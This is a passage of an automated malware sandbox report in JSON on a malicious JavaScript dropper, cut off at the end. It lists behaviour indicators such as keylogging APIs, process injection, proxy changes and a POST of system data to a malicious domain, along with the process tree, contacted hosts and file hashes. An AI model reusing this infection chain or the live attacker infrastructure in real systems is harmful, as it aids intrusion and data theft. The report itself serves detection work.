to disc","description":"$5f","origin":"API Call","mitre_attack_id":"T1105","relevance":10,"id":"api-43","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Network Related","name":"Sends traffic on typical HTTP outbound port, but without HTTP header","description":"TCP traffic to 16.15.0.240 on port 443 is sent without HTTP header\n TCP traffic to 104.21.15.2 on port 443 is sent without HTTP header","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":5,"id":"network-23","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Remote Access Related","name":"Contains indicators of bot communication commands","description":"file/memory contains long string with (Indicator: \"login=\"; File: \"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin\")","origin":"File/Memory","mitre_attack_id":"T1041","relevance":3,"id":"string-29","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API possibly used to take screenshots","description":"\"Utilify_8u8a563i.tmp\" called \"CreateCompatibleBitmap\" with parameters {\"hdc\": \"7a0109c5\"\n \"cx\": \"16\"\n \"cy\": \"16\"}","origin":"API Call","mitre_attack_id":"T1113","relevance":5,"id":"api-105","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used for keylogging","description":"\"Utilify_8u8a563i.tmp\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"18\"}\n \"Utilify_8u8a563i.tmp\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"17\"}\n \"Utilify_8u8a563i.tmp\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"16\"}\n \"Utilify_8u8a563i.tmp\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"91\"}\n \"Utilify_8u8a563i.tmp\" called \"GetKeyState\" with parameters {\"nVirtKey\": \"92\"}","origin":"API Call","mitre_attack_id":"T1056.001","relevance":10,"id":"api-40","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate process encountered in a system snapshot","description":"\"Grape.exe\" called \"Process32FirstW with parameter [System Process]\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter System\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter smss.exe\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter csrss.exe\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter wininit.exe\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter winlogon.exe\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter services.exe\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter lsass.exe\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter svchost.exe\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter fontdrvhost.exe\" (UID: 00000000-00004808)\n \"Grape.exe\" called \"Process32NextW with parameter dwm.exe\" (UID: 00000000-00004808)","origin":"API Call","mitre_attack_id":"T1057","relevance":5,"id":"api-104","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Spyware/Information Retrieval","name":"Calls an API typically used to find and list the Windows drive types","description":"\"Utilify_8u8a563i.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005108)\n \"Utilify_8u8a563i.tmp\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00000952)","origin":"API Call","mitre_attack_id":"T1082","relevance":10,"id":"api-110","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"System Security","name":"Modifies Software Policy Settings","description":"$60","origin":"Registry Access","mitre_attack_id":"T1112","relevance":10,"id":"registry-19","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"System Security","name":"Modifies proxy settings","description":"\"WScript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")\n \"wscript.exe\" (Access type: \"SETVAL\"; Path: \"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\ZONEMAP\"; Key: \"PROXYBYPASS\"; Value: \"0100000000\")","origin":"Registry Access","mitre_attack_id":"T1090.001","relevance":10,"id":"registry-27","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"System Security","name":"Queries sensitive IE security settings","description":"\"WScript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")\n \"wscript.exe\" (Path: \"HKCU\\SOFTWARE\\MICROSOFT\\INTERNET EXPLORER\\SECURITY\"; Key: \"DISABLESECURITYSETTINGSCHECK\")","origin":"Registry Access","mitre_attack_id":"T1012","relevance":8,"id":"registry-36","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"System Security","name":"Queries the display settings of system associated file extensions","description":"\"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"WScript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")\n \"wscript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"ALWAYSSHOWEXT\")\n \"wscript.exe\" (Access type: \"QUERYVAL\"; Path: \"HKLM\\SOFTWARE\\CLASSES\\SYSTEMFILEASSOCIATIONS\\.EXE\"; Key: \"NEVERSHOWEXT\")","origin":"Registry Access","mitre_attack_id":"T1005","relevance":7,"id":"registry-47","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Drops PE files with different extensions","description":"\"Utilify_8u8a563i.tmp\" has type \"PE32 executable for MS Windows 6.01 (GUI) Intel i386 11 sections\"- Location: [%TEMP%\\is-97LI8WEXMB.tmp\\Utilify_8u8a563i.tmp]- [targetUID: 00000000-00000952]\n \"_setup64.tmp\" has type \"PE32+ executable for MS Windows 5.02 (console) x86-64 5 sections\"- Location: [%TEMP%\\is-XGQS9W3DB7.tmp\\_isetup\\_setup64.tmp]- [targetUID: 00000000-00000952]","origin":"Binary File","mitre_attack_id":"T1036","relevance":5,"id":"binary-38","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Script file shows a combination of malicious behaviors","description":"The script produces internet activity. Is obfuscated and/or drops files","origin":"Indicator Combinations","mitre_attack_id":"T1204.002","relevance":7,"id":"summary-5","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"suspicious","category":"Unusual Characteristics","name":"Spawned processes are likely due to an injection","description":"Process \"%TEMP%\\Utilify_8u8a563i.exe\" spawned likely due to injection","origin":"Monitored Target","mitre_attack_id":"T1055","relevance":3,"id":"target-413","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Creates a process in suspended mode (likely for process injection)","description":"\"WScript.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\svc_ylb6ijl1\\wscript.exe\" //B //E:JScript \"%TEMP%\\svc_ylb6ijl1\\\" - (UID: 00000000-00002804), \"wscript.exe\" called \"CreateProcessW\" with parameter \"\"%TEMP%\\Utilify_8u8a563i.exe\"\" - (UID: 00000000-00006836)","origin":"API Call","mitre_attack_id":"T1055","relevance":10,"id":"api-129","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"malicious","category":"Anti-Detection/Stealthiness","name":"Found a system process name at an unusual pathway","description":"Process \"wscript.exe\" has a system process name but is not located in a Windows (sub-)directory (UID: 00000000-00006836)","origin":"Monitored Target","mitre_attack_id":"T1036.005","relevance":3,"id":"target-94","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"malicious","category":"Installation/Persistence","name":"Writes data to a remote process","description":"$61","origin":"API Call","mitre_attack_id":"T1055","relevance":6,"id":"api-0","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"malicious","category":"Network Related","name":"Application communicates with a malicious domain","description":"Contacted Domain: \"web-telegram.ug\" has been identified as malicious","origin":"Network Traffic","mitre_attack_id":"T1566","relevance":10,"id":"network-88","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"malicious","category":"Spyware/Information Retrieval","name":"Collects system information using POST request","description":"\"POST /api/ HTTP/1.1\nContent-Type: application/json\nHost: web-telegram.ug\nConnection: close\nTransfer-Encoding: chunked\" with payload:==> \"[\"3exc6imf\",\"DESKTOP-FVVF82A\",\"HAPUBWS\",\"SupportMan\",\"EvSert\"]\"","origin":"Network Traffic","mitre_attack_id":"T1041","relevance":10,"id":"network-40","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"level":"malicious","category":"Unusual Characteristics","name":"Spawns many processes","description":"$62","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":8,"id":"target-14","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}],"incidents":[{"name":"Spyware","details_count":3,"details":[{"detail":"POSTs data to a web server"},{"detail":"Found a string that may be used as part of an injection method"},{"detail":"Collects system information using POST request"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Persistence","details_count":3,"details":[{"detail":"Creates new processes"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns many processes"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Network Behavior","details_count":1,"details":[{"detail":"Contacts 2 domains and 2 hosts"}],"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}]},"activity":{"stats":{"process_count":7,"spawned_processes_count":7,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":27,"imported_dlls_count":143,"dropped_files_count":0,"extracted_files_count":16,"files_written_count":164,"files_deleted_count":0,"registry_keys_created_count":4,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":4,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":2,"contacted_urls_count":1,"http_requests_count":1},"behavior_tags":["malicious"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files"],"sandbox_reports":[{"id":"6a0ec93a905407cdc40ed913","environment_id":160,"environment_description":"Windows 10 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"malware_family":"JS.MalBehav.gen","contacted_countries":["USA"],"submit_name":"75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin","analysis_start_time":"2026-05-21T08:58:34+00:00","indicators_count":{"informative":209,"suspicious":47,"malicious":7},"tags":["Multi-Process","Network Traffic","Extracted Files"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"16.15.0.240","port":443,"protocol":"TCP","country":"United States","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"address":"104.21.15.2","port":443,"protocol":"TCP","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}],"dns_resolutions":[{"domain":"amazonbusketss-535659318049-us-west-1-an.s3.us-west-1.amazonaws.com","address":"16.15.0.240","ttl":159,"country":"United States","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"domain":"web-telegram.ug","address":"104.21.15.2","ttl":300,"country":"-","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}],"http_requests":[{"host":"web-telegram.ug","host_ip":"104.21.15.2:443","url":"/api/","method":"POST","response_code":"200","response_phrase":"OK","header":"POST /api/ HTTP/1.1\nContent-Type: application/json\nHost: web-telegram.ug\nConnection: close\nTransfer-Encoding: chunked","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}],"processes":[{"pid":2804,"ppid":0,"name":"WScript.exe","command_line":"\"C:\\75d80a67e5fd7383e7dad6ef3bbacfad61fbf39b16ecd026e0deb41a5b2268f4.bin.js\"","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","normalized_path":"%WINDIR%\\System32\\WScript.exe","uid":"00000000-00002804","icon":"iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAABIklEQVR4Xs2Siw7DIAhF/XQ/rX+25cYxkV58FbOdxLRFhQNbSoqc8yt66fxDcCGSvxBYkjghcF3XvMQJATAtcUoATEn0BOT3nFn6jq3RxRMo8WSi9290KbnM5hd95gYTkFjOia5CLS5TwHvNUlkS4J1b2uJ4l4WYPb0h0O/eK+5JbAn4+N2HCtjOvQnYfEDn0+cpnsAdyVsn0Gx3WBIAJXbvnk2hvcnZFAC1a/aclVgWAOP/wrzElgCImsS2AIiYxCMB8HQSQQK8qH0yiW0B7I0WcmiJMAEvbju1EiECJdbkaNDFC8ETYIn1sxXge59gE6P4Ary4LaTPsuI6TmECAHFc7C2cQQ75xrvNA7YEgD07wt4XtgWi+H8B+9ueWLbuT3kDb24C8Zv/GpsAAAAASUVORK5CYII="},{"pid":6836,"ppid":2804,"name":"wscript.exe","command_line":"//B //E:JScript \"%TEMP%\\svc_ylb6ijl1\\sw.js\"","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","normalized_path":"%TEMP%\\svc_ylb6ijl1\\wscript.exe","parent_uid":"00000000-00002804","uid":"00000000-00006836"},{"pid":5108,"ppid":6836,"name":"Utilify_8u8a563i.exe","command_line":"","sha256":"b03f5eba41b74cef1ac2926d4ac13c0b7b36e3df414796b11920bb89a077de77","normalized_path":"%TEMP%\\Utilify_8u8a563i.exe","parent_uid":"00000000-00006836","uid":"00000000-00005108"},{"pid":952,"ppid":5108,"name":"Utilify_8u8a563i.tmp","command_line":"/SL5=\"$B024C,55373157,893952,%TEMP%\\Utilify_8u8a563i.exe\"","sha256":"7790fd1035266000ed6d6cc35822f7683f5271663af8a5b5effadff85316df6d","normalized_path":"%TEMP%\\is-97LI8WEXMB.tmp\\Utilify_8u8a563i.tmp","parent_uid":"00000000-00005108","uid":"00000000-00000952"},{"pid":4472,"ppid":952,"name":"Grape.exe","command_line":"","sha256":"04b9cce52af1b7ff4f52a2ccf69deb161fef821acc61aa12c3866f2885263297","normalized_path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\Grape.exe","parent_uid":"00000000-00000952","uid":"00000000-00004472"},{"pid":4092,"ppid":4472,"name":"Grape.exe","command_line":"--type=gpu-process --field-trial-handle=1680,9351082474623949860,10396439349421579125,131072 --enable-features=WebComponentsV0Enabled --disable-features=SpareRendererForSitePerProcess --gpu-preferences=KAAAAAAAAADgAAAwAAAAAAAAYAAAAAAAEAAAAAAAAAAAAAAAAAAAACgAAAAEAAAAIAAAAAAAAAAoAAAAAAAAADAAAAAAAAAAOAAAAAAAAAAQAAAAAAAAAAAAAAAFAAAAEAAAAAAAAAAAAAAABgAAABAAAAAAAAAAAQAAAAUAAAAQAAAAAAAAAAEAAAAGAAAA --mojo-platform-channel-handle=1700 --ignored=\" --type=renderer \" /prefetch:2","sha256":"04b9cce52af1b7ff4f52a2ccf69deb161fef821acc61aa12c3866f2885263297","normalized_path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\Grape.exe","parent_uid":"00000000-00004472","uid":"00000000-00004092"},{"pid":4808,"ppid":4472,"name":"Grape.exe","command_line":"--type=utility --field-trial-handle=1680,9351082474623949860,10396439349421579125,131072 --enable-features=WebComponentsV0Enabled --disable-features=SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=2040 /prefetch:8","sha256":"04b9cce52af1b7ff4f52a2ccf69deb161fef821acc61aa12c3866f2885263297","normalized_path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\Grape.exe","parent_uid":"00000000-00004472","uid":"00000000-00004808"}],"all_imported_dlls":["comdlg32.dll","Windows.UI.dll","KernelBase.dll","user32.dll","propsys.dll","mskeyprotect.dll","ntasn1.dll","secur32.dll","sxs.dll","wow64.dll","nlaapi.dll","UIAutomationCore.dll","d3d11.dll","wshext.dll","winmm.dll","twinapi.dll","MMDevAPI.dll","mfplat.dll","jscript.dll","powrprof.dll","msxml6.dll","ole32.dll","amsi.dll","cldapi.dll","ffmpeg.dll","uxtheme.dll","clbcatq.dll","winhttp.dll","mswsock.dll","WinTypes.dll","msimg32.dll","twinapi.appcore.dll","mscms.dll","rpcrt4.dll","advapi32.dll","SHCore.dll","aepic.dll","imagehlp.dll","oleacc.dll","dbghelp.dll","oleaut32.dll","msasn1.dll","webio.dll","hid.dll","devobj.dll","CompPkgSup.dll","kernel32.dll","wtsapi32.dll","usp10.dll","win32u.dll","shfolder.dll","windows.storage.dll","scrrun.dll","mpr.dll","ntdll.dll","cryptsp.dll","profapi.dll","rsaenh.dll","winhttpcom.dll","wow64cpu.dll","winmmbase.dll","dhcpcsvc.dll","bcryptprimitives.dll","cryptbase.dll","Windows.StateRepositoryPS.dll","dnsapi.dll","winsta.dll","ResourcePolicyClient.dll","msvproc.dll","ddraw.dll","dxva2.dll","dciman32.dll","ws2_32.dll","crypt32.dll","urlmon.dll","OnDemandConnRouteHelper.dll","ncryptsslp.dll","rmclient.dll","wldp.dll","FWPUCLNT.DLL","gdi32full.dll","ncrypt.dll","mfh264enc.dll","wintrust.dll","rasadhlp.dll","schannel.dll","VxSSL64.dll","slc.dll","winnsi.dll","d3d9.dll","gdi32.dll","version.dll","bcrypt.dll","gpapi.dll","edputil.dll","apphelp.dll","dpapi.dll","msmpeg2vdec.dll","fltLib.dll","cfgmgr32.dll","ntmarta.dll","TextInputFramework.dll","CoreUIComponents.dll","combase.dll","sechost.dll","scrobj.dll","msdart.dll","msIso.dll","nsi.dll","dhcpcsvc6.dll","msctf.dll","msado15.dll","MpClient.dll","sppc.dll","userenv.dll","DWrite.dll","mfperfhelper.dll","libEGL.dll","imm32.dll","shell32.dll","IPHLPAPI.DLL","mf.dll","d3dcompiler_47.dll","libGLESv2.dll","msvcp_win.dll","dwmapi.dll","58HOF9D4.dll","mlang.dll","iertutil.dll","dxgi.dll","MpOAV.dll","msisip.dll","coml2.dll","sspicli.dll","wow64win.dll","VxSSL32.dll","CoreMessaging.dll","RTWorkQ.dll","msvcrt.dll","ucrtbase.dll","shlwapi.dll","kernel.appcore.dll","comctl32.dll"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"Utilify_8u8a563i.exe","sha256":"9d6586686fd946b61b47decb2b83b9a28d0e2ea330c2ba35b99deaaf1fea7e73","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"ffmpeg.dll","sha256":"1a5ea394d48ec44bdffc87a0a414553acd7496058546fda51f2aa7afc774d277","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Grape.exe","sha256":"e8318d350c5559e6e5ab26b88afc89ad89735a686800ff5541949540948fce54","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"libGLESv2.dll","sha256":"ef36d171336131dff07de64358a726daef7ac6a741c8cb9d6ece1baf10553f8e","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"_setup64.tmp","sha256":"388a796580234efc95f3b1c70ad4cb44bfddc7ba0f9203bf4902b9929b136f95","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"d3dcompiler_47.dll","sha256":"4b074a3976399dc735484f5d43d04b519b7bdee8ac719d9ab8ed6bd4e6be0345","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"libEGL.dll","sha256":"6221e3e2120975c8e7374f628f85eceed6afacc98d214fc27253fd62003defa0","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"amsi.dll","sha256":"e8e6d6fa36a1945292de1540dbce52dda13d3ae36d548d9fcc39eba9d4e7e881","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"wscript.exe","sha256":"1405f3fd5668c5357e374a918abd21e8d8408b2eda99af9ce593a702da1cc2aa","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"setup.txt","sha256":"43a0d81867bab2fd3f604e3c7aa8ae97207ded2cb9825d3794b3195462028783","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"LICENSE.electron.txt","sha256":"34f6f27c26d1bb8682ebb42ae401f558228fd608455bd7c6561d5fd500b7d05b","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"LICENSES.chromium.html","sha256":"a121c13c0ad3455d4316af104bd0f803d92cb4ea425127ba27c70de9e8ed6489","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"chrome_100_percent.pak","sha256":"65cb11d090b32e0fb3c740a736c13c0a47cb1bcb265c084e3de5bb7474fb662f","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"chrome_200_percent.pak","sha256":"cd584f20aeed80fe5852d5d5656a12d25d9116d6b805ddbec3874d310925df2a","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"icudtl.dat","sha256":"800c2b90a3148a0aa9eec43c064c44afd7305fb9d8eb1ca74abde98fd0d35e63","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"name":"Utilify_8u8a563i.tmp","sha256":"7790fd1035266000ed6d6cc35822f7683f5271663af8a5b5effadff85316df6d","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]}],"files_written":[{"path":"\\Global??\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\svc_ylb6ijl1\\wscript.exe","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\svc_ylb6ijl1\\amsi.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\svc_ylb6ijl1\\sw.js","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\Utilify_8u8a563i.exe","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-97LI8WEXMB.tmp\\Utilify_8u8a563i.tmp","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\_isetup\\_setup64.tmp","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\chrome_100_percent.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\chrome_100_percent.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\chrome_200_percent.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\chrome_200_percent.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\d3dcompiler_47.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\d3dcompiler_47.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\ffmpeg.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\ffmpeg.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\Grape.exe","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\Grape.exe","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\icudtl.dat","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\icudtl.dat","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\libEGL.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\libEGL.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\libGLESv2.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\libGLESv2.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\LICENSE.electron.txt","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\LICENSE.electron.txt","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\LICENSES.chromium.html","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\LICENSES.chromium.html","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\readme.txt","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\readme.txt","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\resources.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\resources.pak","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\snapshot_blob.bin","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\snapshot_blob.bin","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\v8_context_snapshot.bin","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\v8_context_snapshot.bin","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\vk_swiftshader.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\vk_swiftshader.dll","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%TEMP%\\is-XGQS9W3DB7.tmp\\vk_swiftshader_icd.json","sources":[{"report_type":"sandbox","report_id":"6a0ec93a905407cdc40ed913"}]},{"path":"%LOCALAPPDATA%\\SuperMaxionQuickMaxlite\\vk_swiftshader_icd.json","sources":[{"report_type":"sandb